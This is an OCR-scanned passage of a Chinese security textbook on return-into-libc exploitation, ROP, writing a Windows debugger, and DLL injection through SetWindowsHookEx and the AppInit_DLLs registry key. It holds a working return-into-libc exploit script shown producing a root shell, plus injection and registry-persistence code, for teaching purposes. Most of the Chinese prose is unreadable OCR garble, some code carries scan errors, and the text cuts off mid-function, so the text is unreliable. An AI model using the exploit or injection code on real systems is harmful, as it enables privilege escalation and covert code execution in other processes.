$1 = {<text variable, no debug info>} 0xb7e6c430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e5ffb0 <exit>

(gdb)



XFERRATTAS R T system Fl exit )k

KR BATTAN TS OB IR [P 31k e T A G shellcode Hiuhik, T2 20K system P& 13
ik, ¥ system pRELHTIR [P H bR A exit, FEFF /bin/sh BIHHEAE b S5tk i# it 2¢

WK AR B A

V¥ exploit2.py

#!/usr/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[l], 16) + 0x08

fsystem = int ("b7e6c430", 16)
fexit = int ("b7e5ffb0", 16)
data "\x90\x90\x90\x90\x90\x90\x90\x90"

data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90c x90"
data += pack('<L', fsystem)

data += pack('<L', fexit)

data += pack('<L', addr)

data += "/bin/sh"

sys.stdout.write (data)

\EAWN

$ ./test02 “python exploit2.py bffff740"
Oxbff£f£740

# whoami

root

# exit

LEXAMI] 1, FRATTH system pRZELACES T shellcode.
test02 V& JF /8 T Exec-Shield AL, (HIRATIEREET T & FFMIFI TR, X2 — 5



HL 1] Return-into-libc H) 451 1

AL, REXFENAEY 2 Exec-Shield, {HUNHFF)H T ASLR 8(# StackGuard fJ1, LI
K MHOAR 2 RN

3.3.2 A ARBENUAL RS P F8 AT 4 A Q5 2847 Beadi: ROP

Return-into-libe & —FhHIFERREL (libe) KAV shellcode KAV 1 7. R, W5 ASLR
BN AR A B AL 1R, BT 3RAT 1 CTE A R e R M HE CARGIE system A1 exec
bbb , et M.

BRIk, A, BeARERH ARBENLAL IR LeR e o I g AR, P B AT 75 ZE R
gi&niﬁ We ? fEixp i ps SATAE R PBEETFB, #Fh  Return-Oriented-Programming C[H 1) 1%
ufE) , TRIFK ROP,

XSRS I, TR RRR, KK Oy M5E e B AEA BE ORI T SERR AL
e 2RI, M 2010 FIFEG, REREARTHGZERATE K, WAL DL BN RG© e BER
Z— T

KT ROP MIPEANNE, FMREN AL KHK, R MBS HoR, XA
FAMEIRN, AT RS B SR I 248 LB k. 56 5 &b A1 -k $E 2 ROP,
W RFa L — N AT A 2.

LR P2 A AT A 228 B Bl i Rk

2 IT MEFF, 22— R R A,  IXJE N A 2 4, BefiT— e nevp k21—
AR T AR TN, B B i 554 1) 3R 2 DL SRR R A I . B2
Ui, A, TECN vs N7H) PKe BUTHHCHGE BT ik, AR5 b2
BB IRIB AT BOTITIRB B R SE, A 35 W20k BIAH I R B 4 T B

NENZ )2 KT ), XA IE & T LA i BRI Js A i
b, TESE AR PR IAE R A, B LSORIRT IH R AR R (R, IT b F 4k
KA PP PEAK AR 3D

52 B RN [ 26 5B 4415 (cyberwarfare) 5 FEFHAEFTAHIEIF 8. MIX— KK
B, RG24 P2 THENURN S EAR, (Bt a7 5 i A & A0 (E
IXWVFIE & ML e A ) SRR T AE



4w HHREHRE e AR g £
AT BATRE A PR (0 BB DA S AR 2 AR P T B S R 150 1T

RUEATE AR S 1 ) TREBAT HARRE, (HRZH e i) TR T 5ARN R+
MR . WRARAER TS 280t TR, BAARTERFIR—E 8T BB



4.1 JEE A P A ok 2R A L e PR
411 SRTMC AT R R R g, AR

B FATACE TR E— ATy R R ey, TS ok 2] — BB AR AR, DA S ety
g grtia T A

WHFRE =W “Will LA AZ R KRS, FULEA g2 »

XA A . 2505, BT, Hh R R A ) a2, e
A VARG TR, AR 1 A A IR A 2 75 2 T 1

AR, INFEARSEEE AT IR RS, B — SRR, AR B ST
H, Haraess 7L T/ERE. i, TN SEFM DR E MR ik, BE
SEECI R AR, XATEATE? 28R, FRATTHT H B0 2E I FUIRE R, an SRR A E— A
A LA 5E OllyDbg #11 WinDbg H B 1EH IR g, 2 n a3 T,

1 H, PO VR s LA P AR B S ROR A, I8 2 A2 DY s 55 5 A7 R 2

AR, VHEAURLE, ENIEGE N T R al MO R H A ) DR, AR T RIRA
SESE TARAR A, BRI —Ph T B2 TCRE MR & AR R IR 2 SRl

4.1.2 AR B R A B TAER
'S5 RES T A E )RS, HEE A — ] s U AR 2 2 B T
BV KE — B ] PR R 20 (ARSI chapO4\wdbg01a\wdbg01a)

V wdbgO1la.cpp

#include "stdafx.h"

int tmain(int argc, TCHAR* argv[])
{
PROCESS INFORMATION pi;
STARTUPINFO si;

if (argc < 2){
fprintf (stderr, "C:\\>%s <sample.exe>\n", argv[0]);
return 1;

}

memset (&pi, 0, sizeof(pi));
memset (&si, 0, sizeof(si));
si.cb = sizeof (STARTUPINFO) ;

BOOL r = CreateProcess (
NULL, argv[1l], NULL, NULL, FALSE,
NORMAL PRIORITY CLASS | CREATE SUSPENDED | DEBUG_PROCESS,
NULL, NULL, &si, &pi);
if(!'r)
return -1;

ResumeThread (pi.hThread) ;



while (1) {

}

DEBUGiEVENT de;
if (!WaitForDebugEvent (&de, INFINITE))
break;

DWORD dwContinueStatus = DBG CONTINUE;

switch (de.dwDebugEventCode)

{

case CREATE PROCESS DEBUG EVENT:
printf ("CREATE PROCESS DEBUG EVENT\n");
break;

case CREATE THREAD DEBUG EVENT:
printf("CREATE_THREAD_DEBUG_EVENT\n");
break;

case EXIT_THREAD_DEBUG_EVENT:
printf("EXIT_THREAD_DEBUG_EVENT\n");
break;

case EXIT PROCESS DEBUG EVENT:
printf("EXITiPROCEssiDEBUGiEVENT\n");
break;

case EXCEPTION DEBUG EVENT:

DWORD r = de.u.Exception.ExceptionRecord.ExceptionCode;

if(r != EXCEPTION_BREAKPOINT)
dwContinueStatus = DBG EXCEPTION NOT HANDLED;
printf("EXCEPTIONiDEBUGiEVENT\n");
break;
case OUTPUT DEBUG STRING EVENT:
printf("OUTPUT_DEBUG_STRING_EVENT\n");
break;
case RIP EVENT:
printf ("RIP_EVENT\n");
break;
case LOAD DLL DEBUG EVENT:
printf ("LOAD DLL DEBUG EVENT\n");
break;
case UNLOAD DLL DEBUG EVENT:
printf("UNLOAD_DLL_DEBUG_EVENT\n");
break;
}
if (de.dwDebugEventCode == EXIT PROCESS DEBUG EVENT)
break;
ContinueDebugEvent (
de.dwProcessId, de.dwThreadId, dwContinueStatus);

CloseHandle (pi.hThread) ;
CloseHandle (pi.hProcess);
return 0;

H5E, MEpilid CreateProcess BRES 2 HARERE o YR H AR b2t ny 06 S 53 9t
AR (debuggee) .

i

CreateProcess PRI

B, MREE T

DEBUG_PROCESS

o

DEBUG ONLY THIS PROCESS #ri&, WISSIRIHERE GRIRXTZ) hp ™= A4 i 5 0 # s il
AP,

R AR IR



e DEBUG_PROCESS #r5 i&
TR R A R, DA R iR I 1 e R AR A A A0 B
e DEBUG_ONLY_THIS PROCESS
Kl CreateProcess Ji IR — AN HERAE A A0 5
CreateProcess PRAUISE 1 SHEEFH R 2 SH] HTALE#E H AR FP g4, AR5 (8 n] A shit

2o

V¥ CreateProcess P§ 21

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx
BOOL CreateProcess (

LPCTSTR lpApplicationName, // PTHATREER A FR
LPTSTR lpCommandLine, /] AT TR

LPSECURITY ATTRIBUTES lpProcessAttributes,
LPSECURITY ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles, // IRk R T
DWORD dwCreationFlags, // BlEbRE

LPVOID lpEnvironment, // BRI AR A
LPCTSTR lpCurrentDirectory, // HTETEAR
LPSTARTUPINFO lpStartupInfo, /! JREME R

LPPROCESS INFORMATION lpProcessInformation // HEF#{ER

@it  CREATE SUSPENDED A& nf LLiLHEFRAE s BEAN IR S . Ml EIX—hp &
I/, CreateProcess HREUMHEMN G, #ridtRE A Lt s &8s, REMRTREEIs
AT, ABRE R A AT SO E LN NAE, XA 0T PLAEIZ AT Z 106 AR % i B 3047
WE.

(ESA RO, B 1R AT (TR E T2 E4% M T ResumeThread BA%(, TR
X 1 AT 2k A S WA A5 1T

V ResumeThread p£ %Y

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms685086.aspx
DWORD ResumeThread (

HANDLE hThread // £FEfUW
)



M RANE T IGIEAT A, WS T S AP 7
WIRZE 2 1) WaitForDebugEvent b8 HURHEA T

V¥ WaitForDebugEvent £ %{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681423.aspx
BOOL WaitForDebugEvent (

/7 RAFR S B S R B

LPDEBUG_EVENT lpDebugEvent,

[/ AR ()

DWORD dwMilliseconds

WaitForDebugEvent B2 1 280tk #: T —4> DEBUG_EVENT Z5#J4K, e 2 1A g1
AL TAE XA G5k AR T, 58 2 240 dwMilliseconds W53 B & INFINITE MK /~—HEE
F¥o

DEBUG EVENT Z5 #4415 LUk

V¥ DEBUG_EVENT %; ¥4 1&

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679308.aspx
typedef struct DEBUG EVENT ({
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION DEBUG INFO Exception;
CREATE THREAD DEBUG INFO CreateThread;
CREATE PROCESS DEBUG INFO CreateProcessInfo;

EXIT THREAD DEBUG INFO ExitThread;
EXIT PROCESS DEBUG_ INFO ExitProcess;
LOAD DLL DEBUG INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT DEBUG STRING INFO DebugString;
RIP INFO RipInfo;

}ous
} DEBUG_EVENT, *LPDEBUG EVENT;

Hrp 2 —N b1 dwDebugEventCode 83K iR 490 5 o
dwProcessld N FHFE ID, dwThreadld N4 FE ID.

PN EIE 2B dwDebugEventCode ANFIM A A 4. dwDebugEventCode mJ LAHY %1



fH.

WA

o
<

EXCEPTION DEBUG_EVENT RASH

CREATE THREAD DEBUG_EVENT ||filzd£: 4

CREATE PROCESS DEBUG_EVENT ||@ g it #2

EXIT THREAD DEBUG_EVENT LR

EXIT PROCESS DEBUG_EVENT RS

LOAD DLL DEBUG_EVENT Jn# DLL

UNLOAD_DLL _DEBUG_EVENT 1% DLL

OUTPUT DEBUG STRING EVENT ||if/] OutputDebugString i %{

RIP_EVENT KRG IR IR

wdbgOla.cpp ', MR RGN, ST printf BRECKE AN E Bk, @iy
7] union 3 &5 R A SR T LASR B0 S 1045 B

AP AT A g I, N RSB EE T, Bk, ERAIA IS BosE B R,
AN SR T IR

W ContinueDebugEvent PR ] LLLE TN Sk s tT, X X R3]
WatiForDebugEvent F& #5547~ — 45 ik

NlAEEA ST N EE

\EEAwN

C:\>wdbg0la.exe "C:\Program Files\Internet Explorer\iexplore.exe"



WIRE e - 8] ' v

EXIT_THREAD_DEBUG_EUENT
BRCREATE_THREAD_DEBUG_EVENT
3 D

10M_DEBUG_EUENT
I0OH_DEBUG_EUENT
THREAD_DEBUG_EUEMNI
Nar B it = TR SR 21 TE_THREAD_DEBUG _EUENT
EXIT_THREAD_DEBUG_FEUENT
LOAD_DLL_DEBUG_EUENT
e P L LL_DEBUG_EUENT
E’m {2 o f =1} -L_I_:l'_ LL_DEBUG_EUENT
FE miE e EiC [ S CEPTION_DEBUG_EUENT
i CREATE_THREAD_DEBUG_EUEMNI
Fik T Wing App EXCEPTION_DEBUG_EUENT
LOAD_DLL_DEBUG_EUENT
MLOAD _DLL_DEBUG_EVENT
LOAD_DLL_DEBUG_EUENT
BL.oAD_DLL_DEBUG_EUENT
MCREATE_THREAD_DEBUG_EUENT

g‘ Internat

REATLLER], QIR LREUAME. F12, DLL & HA A0 I as i 4 2 7.
4.1.3 SEPLRICGh DR
N LEFRATT N wdbgOla.cpp 38 I0—248 2 g (chap04\wdbg02a\wdbg02a\wdbg02a.cpp) -

BAIEmEE R AT EE, G Won kKA B DL AR AR s (E . RIS, FRATTE A
BN KT EBTPATHIIES, BRI PR SZI S IC g Ih i .

AT LIAEH udis86 KSR G . IXs2 —NMHIRI I was, A RATLE GitHub L.

2 fork TIXATIH, FH Visual Studio 2010 34T T 4k, KALEEL A M GitHub T,

R 752 Windows i SEHI ST AT BA R 80X AN 35 5 I RRCAS .

https://github.com/vmt/udis86 (J5#H)

https://github.com/kenjiaiko/udis86

V wdbg02a.cpp

#include "stdafx.h"


https://github.com/vmt/udis86
https://github.com/kenjiaiko/udis86

#include <Windows.h>
#include "udis86.h"

#pragma comment (1ib, "libudis86.1ib")

int disas (unsigned char *buff, char *out, int size)
{

ud t ud obj;

ud init (&ud obj);

ud set input buffer (&ud obj, buff, 32);

ud set mode (&ud obj, 32);
ud set syntax(&ud obj, UD_SYN INTEL);

if (ud disassemble (&ud obj)) {
sprintf s(out, size, "%1l4s %s",
ud insn hex(&ud obj), ud insn asm(&ud obj));
}else{
return -1;

return (int)ud insn len(&ud obj);

int exception debug event (DEBUG EVENT *pde)
DWORD dwReadBytes;

HANDLE ph = OpenProcess (
PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION,
FALSE, pde->dwProcessId);

if (!ph)
return -1;

HANDLE th = OpenThread (THREAD GET CONTEXT | THREAD SET CONTEXT,
FALSE, pde->dwThreadId);

if (!'th)
return -1;

CONTEXT ctx;
ctx.ContextFlags = CONTEXT ALL;
GetThreadContext (th, &ctx);

char asm string[256];
unsigned char asm code([32];

ReadProcessMemory (ph, (VOID *)ctx.Eip, asm code, 32, &dwReadBytes);
if (disas (asm _code, asm string, sizeof (asm string)) == -1)
asm_string[0] = '\0';

printf ("Exception: %$08x (PID:%d, TID:%d)\n",
pde->u.Exception.ExceptionRecord.ExceptionAddress,
pde->dwProcessId, pde->dwThreadId);

printf (" %08x: %$s\n", ctx.Eip, asm string);

printf (" Reg: EAX=%08x ECX=%08x EDX=%08x EBX=%08x\n",
ctx.Eax, ctx.Ecx, ctx.Edx, ctx.Ebx);
printf (" ESI=%08x EDI=%08x ESP=%08x EBP=%08x\n",

ctx.Esi, ctx.Edi, ctx.Esp, ctx.Ebp);

SetThreadContext (th, &ctx);
CloseHandle (th) ;
CloseHandle (ph) ;

return 0;

int tmain(int argc, TCHAR* argv[])
{



STARTUPINFO si;
PROCESS INFORMATION pi;

if (argc < 2){
fprintf (stderr, "C:\\>%s <sample.exe>\n", argv[0]);
return 1;

memset (&pi, 0, sizeof(pi));
memset (&si, 0, sizeof(si));
si.cb = sizeof (STARTUPINFO) ;

BOOL r = CreateProcess (
NULL, argv[l], NULL, NULL, FALSE,
NORMAL PRIORITY CLASS | CREATE SUSPENDED | DEBUG PROCESS,
NULL, NULL, &si, &pi);
if(!'r)
return -1;

ResumeThread (pi.hThread) ;
int process counter = 0;

do{
DEBUG_EVENT de;
if (!WaitForDebugEvent (&de, INFINITE))
break;

DWORD dwContinueStatus = DBG CONTINUE;

switch (de.dwDebugEventCode)

{

case CREATE PROCESS DEBUG EVENT:
process counter++;
break;

case EXIT PROCESS DEBUG EVENT:
process counter--;
break;

case EXCEPTION DEBUG EVENT:
if (de.u.Exception.ExceptionRecord.ExceptionCode !=

EXCEPTION_BREAKPOINT)

dwContinueStatus = DBG EXCEPTION NOT HANDLED;

}

exception debug event (&de);
break;

ContinueDebugEvent (
de.dwProcessId, de.dwThreadId, dwContinueStatus);

}while (process_counter > 0);
CloseHandle (pi.hThread) ;

CloseHandle (pi.hProcess);
return 0;

disas pRAL DL DO AL E F HEAT S, AEIX B FATIE T udis86
HIThfE -



exception_debug event PREL S 1E K AE i N isty, HAEH T PR

e OpenProcess
e ReadProcessMemory
e OpenThread
o GetThreadContext
e SetThreadContext
XL E,  FEIN I WriteProcessMemory PRIEL, it A2 U i) HoA BERR 1 4 £ T HAT

/& Windows ', BIMEIRATIFRFA AR IS EE807E H bn b iE b, JUELRE S IR H bRt
FEIRI AN, E'ETUB@E&I;&%WI&EE’JW@ SElo AR, HETH P A R AR AR, 1
?_penProcess SR, AR E R I I AR T VSRR A, AT DL A I B R N
A o

¥ OpenProcess Pf %

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320.aspx
HANDLE OpenProcess (

DWORD dwDesiredAccess, // Villbr&

BOOL bInheritHandle, // AR AR I T

DWORD dwProcessId // HREID

£ exception_ debug event  PRET, N TIRBURAERE I PTPATINGGE S, FRATF ZATH
ReadProcessMemory P& %

V¥ ReadProcessMemory b %

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx
BOOL ReadProcessMemory (

HANDLE hProcess, // R

LPCVOID lpBaseAddress, // G bk
LPVOID lpBuffer, /7 T AR IR R 22X
DWORD nSize, /7 BEEHU L

LPDWORD lpNumberOfBytesRead // SZBriszHi i) 1i%k



V¥ WriteProcessMemory pf %

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx
BOOL WriteProcessMemory (

HANDLE hProcess, // BRI
LPVOID lpBaseAddress, // BHNREEHhE
LPVOID lpBuffer, /7 BRgEmX
DWORD nSize, VAR S=PNIDERE 4

LPDWORD lpNumberOfBytesWritten // SEZFnEARITTE

e PR RN ARSI .
F OpenThread T 22 2 J5, Wit GetThreadContext A1 SetThreadContext K125 & A7 25 o

BT ERATIA TR 24 exception_debug_event s F A A, RIEAN T %‘&ﬁﬁﬁ
SeghreadContext PR . AN T A 8N s A I RE, AL E R T XX
BRI VR FE

V¥ OpenThread £ %

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684335.aspx
HANDLE OpenThread (

DWORD dwDesiredAccess,// Villbrd

BOOL bInheritHandle, // FJIRZk#IEI

DWORD dwThreadId // ZHID
)

V¥ GetThreadContext P %Y

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679362.aspx
BOOL GetThreadContext (

HANDLE hThread, // PE BTSRRI

LPCONTEXT lpContext  // W I SCHISE Ak
)

V¥V SetThreadContext



// https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx

BOOL SetThreadContext (
HANDLE hThread, // P TSR A
CONST CONTEXT *1pContext // 7ML N CHIGRARNE

5 FHIX &8 AP B& E0t v] DU 2 T At 3E R
4.1.4 1247 %R IR A

N FATIRIZAT— § wdbg02a.exe (RIS L chap04\wdbg02a\Release)
HAE, BAMES— IS RAERFERET I chap04\wdbg02a\Release\test.exe) , A J5E

XA EAE 2 80kia 1T wdbg02a.exe.

V test.cpp

int main(int argc, char *argv[])
{

char *s = NULL;

*s = 0OxFF;

return 0;

AN

C:\>wdbg02a.exe test.exe
Exception: 773a0fab (PID:7008, TID:8068)
773a0fac: 8975fc mov [ebp-0x4], esi
Reg: EAX=00000000 ECX=3e400000 EDX=0027e188 EBX=00000000
ESI=fffffffe EDI=00000000 ESP=003efa78 EBP=003efaad
Exception: 013b1002 (PID:7008, TID:8068)
013b1002: c600ff mov byte [eax], Oxff
Reg: EAX=00000000 ECX=71fb4714 EDX=00000000 EBX=00000000
ESI=00000001 EDI=013b36b8 ESP=003efeb8 EBP=003efef8

AT LLE 2I4E mov byte [eax], Oxff FJHL T A4 T 26

OxFF; iIX—1T. BHRESITHI T .

2 AN, IXHS YRR ) *s =



4.2 EHANSERE I ATAE AR o AR
4.2.1 o) HoA FEFE 3 AN ARAS

AR BT EEARE T v, GRS AN (code injection) o 7EAFH DLL B
BN, —MMAE“DLL {3 A7, AH<AE HAb bR izdT 3 A X — 'J—'TE/\ 1]

A AF DLLEARG IR Z g, Hpw2auaIin.

KT DLL AN, H—hEAW L EM/E“Three Ways to Inject Your Code into Another
Process” .

e Three Ways to Inject Your Code into Another Process

http://www.codeproject.com/Articles/4610/Three- Ways-to-Inject-Your-Code-into- Another-
Process

R R AAS T =Rk, HSCHHESCHRIL T — S8 AR R 57k, Ml ATRA 4 L

N
4.2.2 ] SetWindowsHookEx ¥ & 414 &

R =A APL R EL, AT AT ABIFF R G0 E

e SetWindowsHookEx
e CallNextHookEx
e UnhookWindowsHookEx
X8 bR F R 7 Windows [F'E 7 APL, W DAH AR, thn] DUH bR

V¥V SetWindowsHookEx

HHOOK SetWindowsHookEx (
int idHook, /] TR
HOOKPROC 1pfn, // TR
HINSTANCE hMod, /7 N R S (1) F AR
DWORD dwThreadId // ZFEID

V¥ CallNextHookEx


http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Process

LRESULT CallNextHookEx (

HHOOK hhk, /7 HHTE T RN

int nCode, /] AR TR FERARED
WPARAM wParam, /] BB TR AR RIME
LPARAM lParam /] AGIBL R T IRE R

V¥ UnhookWindowsHookEx

BOOL UnhookWindowsHookEx (
HHOOK hhk /1 BERRBRIN G 8 T FR AR
)

AR — T SetWindowsHookEx (YA I chap04\writeappinit\loging) -

V loging.h

#ifdef LOGING EXPORTS

#define LOGING API extern "C"  declspec(dllexport)
#else
#define LOGING API extern "C" _ declspec(dllimport)
#endif

LOGING API int CallSetWindowsHookEx (VOID) ;
LOGING _API int CallUnhookWindowsHookEx (VOID) ;

V loging.cpp

#include "stdafx.h"
#include "loging.h"

HHOOK g_hhook = NULL;

static LRESULT WINAPI GetMsgProc (int code, WPARAM wParam, LPARAM
lParam)
{
return (CallNextHookEx (NULL, code, wParam, lParam));
}

LOGING API int CallSetWindowsHookEx (VOID)
{



if (g_hhook != NULL)
return -1;

MEMORY BASIC INFORMATION mbi;

if (VirtualQuery (CallSetWindowsHookEx, &mbi, sizeof (mbi)) == 0)
return -1;
HMODULE hModule = (HMODULE) mbi.AllocationBase;

g hhook = SetWindowsHookEx (

WH GETMESSAGE, GetMsgProc, hModule, O0);
if (g_hhook == NULL)

return -1;

return 0;

}

LOGING API int CallUnhookWindowsHookEx (VOID)

{
if (g_hhook == NULL)
return -1;

UnhookWindowsHookEx (g_hhook) ;
g hhook = NULL;
return 0;

SetWindowsHookEx W)U RE &0 R AL 25 % D FE v B3R R ok, 45 2 SEh prds
€ 1 BRI AT AL P

loging.cpp 11, FATKF GetMsgProc WA Tl FE, BRSO BAEAR IS LS H ARG I A 10 &
HEREZ /T, 2356 H GetMsgProe K T AL FE

GetMsgProc 1 T CallNextHookEx PR%L, XIS gk Sifbihi sy T — N1 f

XU APL S HRENFRE R R, (A RS R HAR IR ) o ARV R, Al 7 e HoAth
R I3 A1 1) DLL.

Z RN AR, AT DU loging.cpp ﬁ#ﬁi DLL YA L
chap04\writeappinit\loging) , #AJ5 1 H SetWindowsHookEx, ¥ 4 % (dwThreadld)
q'jjﬁé)o EHE, BATTER AT LN A % R ﬁzﬁ’]lﬁﬁ%ﬂ%ﬁfﬂ%’]? At X SRR I 2 3,
[T DLL,

V dllmain.cpp

#include "stdafx.h"

int WriteLog (TCHAR *szData)

{
TCHAR szTempPath[1024];
GetTempPath (sizeof (szTempPath), szTempPath);
lstrcat (szTempPath, "loging.log");

TCHAR szModuleName [1024];



GetModuleFileName (GetModuleHandle (NULL) ,
szModuleName, sizeof (szModuleName)) ;

TCHAR szHead[1024];
wsprintf (szHead, "[PID:%d] [Module:%s] ",
GetCurrentProcessId(), szModuleName) ;

HANDLE hFile = CreateFile(

szTempPath, GENERIC WRITE, 0, NULL,

OPEN ALWAYS, FILE ATTRIBUTE NORMAL, NULL) ;
if (hFile == INVALIDiHANDLE7VALUE)

return -1;

SetFilePointer (hFile, 0, NULL, FILE END);

DWORD dwWriteSize;
WriteFile (hFile, szHead, lstrlen(szHead), &dwWriteSize, NULL);
WriteFile (hFile, szData, lstrlen(szData), &dwWriteSize, NULL);

CloseHandle (hFile) ;
return 0;

}

BOOL APIENTRY Dl11Main ( HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved
)

switch (ul reason for call)

{

case DLL PROCESS ATTACH:
WriteLog("DLL_PROCESS_ATTACH\H");
break;

case DLL THREAD ATTACH:
break;

case DLL THREAD DETACH:
break;

case DLL PROCESS DETACH:
WriteLog("DLL_PROCESS_DETACH\H");
break;

}
return TRUE;

TIFEAT dilmain.cpp HHESII—LeACHE, 3 4E DLL Ihnai 2 f5, W %TEMP% H x4
A4 4 loginglog 1 H & CE . HAEK N A FEIERE ID AR A2

4 dllmain.cpp. loging.cpp Al logingh #4749 7%, REFHANHE 7—MEF, IEEA4 DLL
FFIH A CallSetWindowsHookEx (J54tA I chapO4\writeappinit\setwindowshook)

V setwindowshook.cpp

#include "stdafx.h"
#include <Windows.h>

int tmain(int argc, TCHAR* argv[])
{
if (argc < 2){



fprintf (stderr, "%s <DLL Name>\n", argv[0]);
return 1;

HMODULE h = LoadLibrary(argv[l]);
if (h == NULL)
return -1;

int (_ stdcall *fcall) (VOID);

fcall = (int (WINAPI *) (VOID))
GetProcAddress (h, "CallSetWindowsHookEx") ;

if (fcall == NULL) {
fprintf (stderr, "ERROR: GetProcAddress\n");
goto Exit;

int (_ stdcall *ffree) (VOID);
ffree = (int (WINAPI *) (VOID))
GetProcAddress (h, "CallUnhookWindowsHookEx") ;
if (ffree == NULL) {
fprintf (stderr, "ERROR: GetProcAddress\n");
goto Exit;

if (fcall()) {
fprintf (stderr, "ERROR: CallSetWindowsHookEx\n") ;
goto Exit;

}

printf ("Call SetWindowsHookEx\n") ;

getchar();

if (ffree()) {
fprintf (stderr, "ERROR: CallUnhookWindowsHookEx\n") ;
goto Exit;

}

printf ("Call UnhookWindowsHookEx\n") ;

_Exit:

Freelibrary (h);
return 0;

\EEIFN

C:\>setwindowshook.exe loging.dll
Call SetWindowsHookEx



I F) #RIE(E) TE N fRA) RO FEEh
0 = Eﬂ Eé% Ei #h o = ﬁE = Eb

HPID:QSE][Hadule:C:\Misetwindawshnnk.exe] DLL_PROCESS_ATTACH

[FID:T5A] [Module:C: \WINDOWS Y Explorer. EXE] DLL_PROCESS _ATTACH

[FID:34A4] [Module: Co W WINDOWS, svatem3 24 VEBox Tray. exe] DLL _PROCESS ATTACH

[FID:204] (Module:C: W WINDOWS  svetem32WCTFMON, EXE] DLL_PROCESS_ATTACH

[FID:3720] [Module: C: s WINDOWS, svstem32h conime. exe] DLL_PROCESS ATTACH

[FID:T40] [Module:C:%Frogram FilesCommon Files'\Jawa\Jawa Update’ jucheck. exe] DLL_PROCESS ATTACH
[FID:2632] [Module:C: \WINDOWS  sv=tem32 W MO TEPAD, EXE] DLL_FROCESS _ATTACH

[FID:2632] [Module:C: \WINDOWS  svstem32 W HMOTEFAD, EXE] DLL_FROCESS DETACH

[PID:4008] [Module: Co\ WINDOWSY svatem3 2 rundl132. exe] DLL_FPROCESS _ATTACH

[FID:24A4] [Module:C:4Program Filez'Windows NT'\Accezzories \WORDFAD, EXE] DLL_PROCESS _ATTACH
[FID:4008] [Module: Co W WINDOWS, svatem3 2y rundl132, exe] DLL _FPROCESS DETACH

[FID:2484] [Module:C:4Program FilezWWindows NThAccessoriestWORDFAD, EXE] DLL_PROCESS DETACH
[FID:2132] [Module:C:WProgram FilesWWindows NThAccessoriesiWORDFPAD, EXE] DLL_PROCESS ATTACH
[FID:2132] [Module:C:\Program Files'Windows NT\iAccessories‘\WORDFAD. EXE] DLL_PROCESS _DETACH
[FID:2532] [Module:C:\Program Files'Windows Media Flaverhsetup_wm. exe] DLL_PROCESS ATTACH
[FID:2532] [Module:C:Program Files'Windows Media Flaverhsetup_wm. exe] DLL_FEOCESS DETACH
[PID:91A] [Module:C:WProgram Files'Windows NTh\Lccessories'\WORDFAD. EXE] DLL_PROCESS _ATTACH
[FID:93A] [Module:C:\ My zetwindowshook. exe] DLL_PROCESS _DETACH

[FID:T5A] [Module:C: A\ WINDOWSYExplorer. EXE] DLL _PROCESS DETACH

A ZiTHER

FTJF C:\Documents and Settings\Campers\Local Settings\Temp\loging.log /4, FA1r] LLEF N
# DLL ByH&E (Windows Vista KU FRAK RS Y, AT C\Users\ H P44
\AppData\Local\Temp\loging.log) . AT LUEH], HABHRE CLINE T loging.dll.

4.2.3 ¥ DLL 4% MC & 273 M & 1) AppInit_DLLs il

SetWindowsHookEx F] LAAE 1 H ISFF DLL Wi 2 AR BERE A, At an RIERATTH DLL B B 42 i
BAEF M AppInit DLLs JiH, 5] PAAE R 40 )8 8 IR = DLL 4 21 HoA b /e v .

1247 regedit, A NI HEAT .

HKEY LOCAL MACHINE\

SOFTWARE\
Microsoft\
Windows NT\
CurrentVersion)\
Windows\
AppInit DLLs X BIEDILERAE, LUES 50k
LoadAppInit DLLs AppInit DLLs/dH/ZEHir&

Windows XP "1 LoadApplnit DLLs iX—ii,

AN, & Windows 7 H, £ T —IY4E RequireSignedApplnit DLLs [T, X —Ii 3 K iF



In#zeid %544 1) DLL.

KT Applnit DLLs 7415 Bk

2 ), MSDN PIAH < T2,

e Applnit DLLSs in Windows 7 and Windows Server 2008 R2

https://msdn.microsoft.com/en-us/library/dd744762.aspx

1E 64 ARG P, KT 32 A FE A AH S e A B € 7] 2] Wow6432Node H o

HKEY_LOCAL_MACHINE\
SOFTWARE\
Wow6432Node\
Microsoft\
Windows NT\
C
urrentVersion\
Windows\
AppInit DLLs
LoadAppInit DLLs

Applnit DLLs " Tt & () DLL J& i
%) user32.dll
chapO4\writeappinit\writeappinit)

V writeappinit.cpp

#include "stdafx.h"
#include <Windows.h>

int tmain(int argc, TCHAR* argv[])
{
if(argc < 2){
fprintf (stderr,
return 1;

}

HKEY hKey;

"$s <DLL Name>\n",

XIS DLLER, LUES R
AppInit DLLsJA FH/2AFkRE

Y

Jii uscer

32.d11 RNECHT, DL, XFIRAS AR (AN
HIBERE KU, X —ACE SR CEAUY A

argv[0]);

LSTATUS 1lResult = RegOpenKeyEx (HKEY LOCAL MACHINE,
"SOFTWARE\ \Microsoft\\Windows NT\\CurrentVersion\\Windows",

NULL, KEY ALL ACCESS, &hKey);
if (1Result != ERROR SUCCESS) {

printf ("Error: RegOpenKeyEx failed.\n");

return -1;

}

DWORD dwSize, dwType;
TCHAR szDl1lName[256];

RegQueryValueEx (hKey,
"AppInit DLLs", NULL, &dwType,
RegQueryValueEx (hKey,

NULL, &dwSize);


https://msdn.microsoft.com/en-us/library/dd744762.aspx

"AppInit DLLs", NULL, &dwType, (LPBYTE)szDllName, &dwSize);
